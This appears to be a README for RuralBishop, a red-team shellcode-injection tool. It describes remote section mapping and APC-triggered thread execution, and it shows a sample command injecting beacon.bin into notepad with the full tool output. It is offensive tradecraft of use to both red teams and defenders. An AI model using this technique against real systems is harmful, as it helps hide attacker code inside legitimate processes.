RuralBishop

RuralBishop is practically a carbon copy of UrbanBishop by b33f, but all P/Invoke calls have been replaced with D/Invoke.

This creates a local RW section in RuralBishop and then maps that section as RX into a remote process. Once the shared section has been established the shellcode is written to the local section which then automatically propagates to the remote process. For execution RuralBishop creates a remote suspended thread (start address is set to ntdll!RtlExitUserThread) and queues an APC on that thread. Once resumed with NtAlertResumeThread, the shellcode executes and the thread exits gracefully on completion.

C:\> RuralBishop.exe -p C:\Users\Rasta\Desktop\beacon.bin -i 14680
   _O        _____             _
  / //\     | __  |_ _ ___ ___| |
 {     }    |    -| | |  _| .'| |
  \___/     |__|__|___|_| |__,|_|
  (___)
   |_|          _____ _     _
  /   \        | __  |_|___| |_ ___ ___
 (_____)       | __ -| |_ -|   | . | . |
(_______)      |_____|_|___|_|_|___|  _|
/_______\                          |_|
                  ~b33f~  ~rasta~

|--------
| Process    : notepad
| Handle     : 696
| Is x32     : False
| Sc binpath : C:\Users\Rasta\Desktop\beacon.bin
|--------

[>] Creating local section..
    |-> hSection: 0x2B4
    |-> Size: 261120
    |-> pBase: 0xC30000
[>] Map RX section to remote proc..
    |-> pRemoteBase: 0x1E5D86C0000
[>] Write shellcode to local section..
    |-> Size: 261120
[>] Seek export offset..
    |-> pRemoteNtDllBase: 0x7FFC44BA0000
    |-> LdrGetDllHandle OK
    |-> RtlExitUserThread: 0x7FFC44C0A2A0
    |-> Offset: 0x6A2A0
[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..
    |-> Success
[>] Set APC trigger & resume thread..
    |-> NtQueueApcThread
    |-> NtAlertResumeThread